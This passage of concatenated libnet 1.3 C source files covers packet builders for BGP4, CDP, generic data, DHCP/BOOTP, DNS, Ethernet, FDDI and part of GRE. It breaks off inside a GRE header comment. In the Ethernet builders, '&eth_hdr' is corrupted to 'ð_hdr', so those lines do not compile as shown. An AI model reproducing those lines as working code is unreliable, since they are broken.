NULL) { return (-1); } n = LIBNET_BGP4_NOTIFICATION_H + + payload_s; /* size of memory block */ h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_NOTIFICATION_H); if (p == NULL) { return (-1); } memset(&bgp4_hdr, 0, sizeof(bgp4_hdr)); bgp4_hdr.err_code = err_code; bgp4_hdr.err_subcode = err_subcode; if (libnet_pblock_append(l, p, (uint8_t *)&bgp4_hdr, LIBNET_BGP4_NOTIFICATION_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_BGP4_NOTIFICATION_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_cdp.c0000664000175000017500000001154614506572036015302 0ustar syqsyq/* * $Id: libnet_build_cdp.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_cdp.c - CDP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_cdp(uint8_t version, uint8_t ttl, uint16_t sum, uint16_t type, uint16_t len, const uint8_t *value, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n,h; libnet_pblock_t *p; struct libnet_cdp_hdr cdp_hdr; if (l == NULL) { return (-1); } n = LIBNET_CDP_H + LIBNET_CDP_H + len + payload_s; h = LIBNET_CDP_H + LIBNET_CDP_H + len + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_CDP_H); if (p == NULL) { return (-1); } memset(&cdp_hdr, 0, sizeof(cdp_hdr)); cdp_hdr.cdp_version = version; cdp_hdr.cdp_ttl = ttl; cdp_hdr.cdp_sum = (sum ? htons(sum) : 0); cdp_hdr.cdp_type = htons(type); cdp_hdr.cdp_len = htons(len + 4); /* 4 bytes for len and type */ if (libnet_pblock_append(l, p, (uint8_t *)&cdp_hdr, LIBNET_CDP_H) == -1) { goto bad; } if (libnet_pblock_append(l, p, value, len) == -1) { /* err msg set in libnet_pblock_append() */ goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_CDP_H)); bad: libnet_pblock_delete(l, p); return (-1); } int /* Not Yet Implemented */ libnet_build_cdp_value(uint16_t type, uint16_t len, uint8_t *value, libnet_t *l, libnet_ptag_t ptag) { libnet_pblock_t *p; struct libnet_cdp_value_hdr cdp_value_hdr; if (l == NULL) { return (-1); } /* * Find the existing protocol block. */ p = libnet_pblock_find(l, ptag); if (p == NULL) { /* err msg set in libnet_pblock_find */ return (-1); } if (p->type != LIBNET_PBLOCK_CDP_H) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_cdp_value: ptag references different type than expected"); return (-1); } memset(&cdp_value_hdr, 0, sizeof(cdp_value_hdr)); cdp_value_hdr.cdp_type = htons(type); cdp_value_hdr.cdp_len = htons(len + LIBNET_CDP_VALUE_H); /* 4 bytes for len and type */ switch (type) { case LIBNET_CDP_DEVID: break; case LIBNET_CDP_ADDRESS: break; case LIBNET_CDP_PORTID: break; case LIBNET_CDP_CAPABIL: break; case LIBNET_CDP_VERSION: break; case LIBNET_CDP_PLATFORM: break; case LIBNET_CDP_IPPREFIX: break; default: break; } if (libnet_pblock_append(l, p, (uint8_t *)&cdp_value_hdr, LIBNET_CDP_VALUE_H) == -1) { return (-1); } if (libnet_pblock_append(l, p, value, len) == -1) { /* err msg set in libnet_pblock_append() */ return (-1); } return (1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_data.c0000664000175000017500000000462414506572036015444 0ustar syqsyq/* * $Id: libnet_build_data.c,v 1.7 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_data.c - generic data block builder * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* FIXME this won't work with TCP or IPv4 data, which is probably a bug */ libnet_ptag_t libnet_build_data(const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; if (l == NULL) { return (-1); } n = payload_s; h = 0; /* no checksum on generic block */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DATA_H); if (p == NULL) { return (-1); } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DATA_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_dhcp.c0000664000175000017500000001052014506572036015441 0ustar syqsyq/* * $Id: libnet_build_dhcp.c,v 1.10 2004/03/01 20:26:12 mike Exp $ * * libnet * libnet_build_dhcp.c - DHCP/BOOTP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_dhcpv4(uint8_t opcode, uint8_t htype, uint8_t hlen, uint8_t hopcount, uint32_t xid, uint16_t secs, uint16_t flags, uint32_t cip, uint32_t yip, uint32_t sip, uint32_t gip, const uint8_t *chaddr, const char *sname, const char *file, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_dhcpv4_hdr dhcp_hdr; if (l == NULL) { return (-1); } n = LIBNET_DHCPV4_H + payload_s; h = 0; /* no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DHCPV4_H); if (p == NULL) { return (-1); } memset(&dhcp_hdr, 0, sizeof(dhcp_hdr)); dhcp_hdr.dhcp_opcode = opcode; dhcp_hdr.dhcp_htype = htype; dhcp_hdr.dhcp_hlen = hlen; dhcp_hdr.dhcp_hopcount = hopcount; dhcp_hdr.dhcp_xid = htonl(xid); dhcp_hdr.dhcp_secs = htons(secs); dhcp_hdr.dhcp_flags = htons(flags); dhcp_hdr.dhcp_cip = htonl(cip); dhcp_hdr.dhcp_yip = htonl(yip); dhcp_hdr.dhcp_sip = htonl(sip); dhcp_hdr.dhcp_gip = htonl(gip); if (chaddr) { size_t n = sizeof (dhcp_hdr.dhcp_chaddr); if (hlen < n) n = hlen; memcpy(dhcp_hdr.dhcp_chaddr, chaddr, n); } if (sname) { strncpy(dhcp_hdr.dhcp_sname, sname, sizeof (dhcp_hdr.dhcp_sname) - 1); } if (file) { strncpy(dhcp_hdr.dhcp_file, file, sizeof (dhcp_hdr.dhcp_file) - 1); } dhcp_hdr.dhcp_magic = htonl(DHCP_MAGIC); if (libnet_pblock_append(l, p, (uint8_t *)&dhcp_hdr, LIBNET_DHCPV4_H) == -1) { goto bad; } if (payload_s && !payload) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): payload inconsistency", __func__); goto bad; } if (payload_s) { if (libnet_pblock_append(l, p, payload, payload_s) == -1) { goto bad; } } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DHCPV4_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_bootpv4(uint8_t opcode, uint8_t htype, uint8_t hlen, uint8_t hopcount, uint32_t xid, uint16_t secs, uint16_t flags, uint32_t cip, uint32_t yip, uint32_t sip, uint32_t gip, const uint8_t *chaddr, const char *sname, const char *file, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { return (libnet_build_dhcpv4(opcode, htype, hlen, hopcount, xid, secs, flags, cip, yip, sip, gip, chaddr, sname, file, payload, payload_s, l, ptag)); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_dns.c0000664000175000017500000000740514506572036015317 0ustar syqsyq/* * $Id: libnet_build_dns.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_dns.c - DNS packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_dnsv4(uint16_t h_len, uint16_t id, uint16_t flags, uint16_t num_q, uint16_t num_anws_rr, uint16_t num_auth_rr, uint16_t num_addi_rr, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; uint32_t offset; libnet_pblock_t *p; struct libnet_dnsv4_hdr dns_hdr; if (l == NULL) { return (-1); } if (h_len != LIBNET_UDP_DNSV4_H && h_len != LIBNET_TCP_DNSV4_H) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): invalid header length: %d", __func__, h_len); return (-1); } offset = (h_len == LIBNET_UDP_DNSV4_H ? sizeof(dns_hdr.h_len) : 0); n = h_len + payload_s; h = 0; /* no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DNSV4_H); if (p == NULL) { return (-1); } /* * The sizeof(dns_hdr.h_len) is not counted is the packet size * for TCP packet. * And since this will be ignored for udp packets, let's compute it * anyway. */ memset(&dns_hdr, 0, sizeof(dns_hdr)); dns_hdr.h_len = htons((uint16_t)(n - sizeof (dns_hdr.h_len))); dns_hdr.id = htons(id); dns_hdr.flags = htons(flags); dns_hdr.num_q = htons(num_q); dns_hdr.num_answ_rr = htons(num_anws_rr); dns_hdr.num_auth_rr = htons(num_auth_rr); dns_hdr.num_addi_rr = htons(num_addi_rr); /* * A dirty trick: DNS can be either TCP or UDP based, and depending on * that, the header changes. A 'length' field is present in TCP packets, * but not in UDP packets. As they are the first 2 bytes of the header, * they are skipped if the packet is UDP... */ if (libnet_pblock_append(l, p, ((uint8_t *)&dns_hdr) + offset, h_len) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DNSV4_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_ethernet.c0000664000175000017500000001117014506572036016343 0ustar syqsyq/* * $Id: libnet_build_ethernet.c,v 1.9 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_ethernet.c - ethernet packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_ethernet(const uint8_t *dst, const uint8_t *src, uint16_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_ethernet_hdr eth_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): called with non-link layer wire injection primitive", __func__); return (-1); } n = LIBNET_ETH_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H); if (p == NULL) { return (-1); } memset(ð_hdr, 0, sizeof(eth_hdr)); memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ eth_hdr.ether_type = htons(type); /* packet type */ if (libnet_pblock_append(l, p, (uint8_t *)ð_hdr, LIBNET_ETH_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_ethernet(const uint8_t *dst, uint16_t type, libnet_t *l) { uint32_t n, h; struct libnet_ether_addr *src; libnet_pblock_t *p; libnet_ptag_t ptag; struct libnet_ethernet_hdr eth_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_autobuild_ethernet() called with non-link layer wire" " injection primitive"); p = NULL; goto bad; } n = LIBNET_ETH_H; h = 0; ptag = LIBNET_PTAG_INITIALIZER; src = libnet_get_hwaddr(l); if (src == NULL) { /* err msg set in libnet_get_hwaddr() */ return (-1); } /* * Create a new pblock. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ETH_H); if (p == NULL) { return (-1); } memset(ð_hdr, 0, sizeof(eth_hdr)); memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ eth_hdr.ether_type = htons(type); /* packet type */ if (libnet_pblock_append(l, p, (uint8_t *)ð_hdr, LIBNET_ETH_H) == -1) { goto bad; } return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ETH_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_fddi.c0000664000175000017500000001337314506572036015442 0ustar syqsyq/* * libnet * libnet_build_fddi.c - Fiber Distributed Data Interface packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Jason Damron * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_fddi(uint8_t fc, const uint8_t *dst, const uint8_t *src, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *org, uint16_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; uint16_t protocol_type; libnet_pblock_t *p; struct libnet_fddi_hdr fddi_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): called with non-link layer wire injection primitive", __func__); p = NULL; goto bad; } n = LIBNET_FDDI_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H); if (p == NULL) { return (-1); } memset(&fddi_hdr, 0, sizeof(fddi_hdr)); fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */ memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* dst fddi address */ memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi address */ fddi_hdr.fddi_llc_dsap = dsap; /* */ fddi_hdr.fddi_llc_ssap = ssap; /* */ fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */ memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE); /* Deal with unaligned int16_t for type */ protocol_type = htons(type); memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); /* Protocol Type */ if (libnet_pblock_append(l, p, (uint8_t *)&fddi_hdr, LIBNET_FDDI_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_fddi(uint8_t fc, const uint8_t *dst, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *org, uint16_t type, libnet_t *l) { uint32_t n, h; uint16_t protocol_type; struct libnet_fddi_addr *src; libnet_pblock_t *p; libnet_ptag_t ptag; struct libnet_fddi_hdr fddi_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): called with non-link layer wire injection primitive", __func__); p = NULL; goto bad; } n = LIBNET_FDDI_H; h = 0; ptag = LIBNET_PTAG_INITIALIZER; /* FDDI and Ethernet have the same address size - so just typecast */ src = (struct libnet_fddi_addr *) libnet_get_hwaddr(l); if (src == NULL) { /* err msg set in libnet_get_hwaddr() */ return (-1); } p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_FDDI_H); if (p == NULL) { return (-1); } memset(&fddi_hdr, 0, sizeof(fddi_hdr)); fddi_hdr.fddi_frame_control = fc; /* Class/Format/Priority */ memcpy(fddi_hdr.fddi_dhost, dst, FDDI_ADDR_LEN); /* destination fddi addr */ memcpy(fddi_hdr.fddi_shost, src, FDDI_ADDR_LEN); /* source fddi addr */ fddi_hdr.fddi_llc_dsap = dsap; /* */ fddi_hdr.fddi_llc_ssap = ssap; /* */ fddi_hdr.fddi_llc_control_field = cf; /* Class/Format/Priority */ memcpy(&fddi_hdr.fddi_llc_org_code, org, LIBNET_ORG_CODE_SIZE); /* Deal with unaligned int16_t for type */ protocol_type = htons(type); memcpy(&fddi_hdr.fddi_type, &protocol_type, sizeof(int16_t)); if (libnet_pblock_append(l, p, (uint8_t *)&fddi_hdr, LIBNET_FDDI_H) == -1) { goto bad; } return (libnet_pblock_update(l, p, h, LIBNET_PBLOCK_FDDI_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_gre.c0000664000175000017500000002745314506572036015315 0ustar syqsyq/* * libnet * libnet_build_gre.c - GRE packet assembler * * Copyright (c) 2003 Frdric Raynal * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* * Overall packet * * The entire encapsulated packet would then have the form: * * --------------------------------- * | | * | Delivery Header | * | | * --------------------------------- * | | * | GRE Header | * | | * --------------------------------- * | | * | Payload packet | * | | * --------------------------------- * * RFC 1701 defines a header. * A new RFC (2784) has changed the header and proposed to remove the key * and seqnum. * A newer RFC (2890) has changed the header proposed in RFC 2784 by putting * back key and seqnum. * These will be supported the day IETF'guys stop this mess ! * * FR */ /* * Generic Routing Encapsulation (GRE) * RFC 1701 http://www.faqs.org/rfcs/rfc1701.html * * * Packet header * * The GRE packet header has the form: * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * |C|R|K|S|s|Recur| Flags | Ver | Protocol Type | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Checksum (optional) | Offset (optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Key (optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Sequence Number (optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Routing (optional) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * Enhanced GRE header * * See rfc 2637 for details. It is used for PPTP tunneling. * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * |C|R|K|S|s|Recur|A| Flags | Ver | Protocol Type | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Key 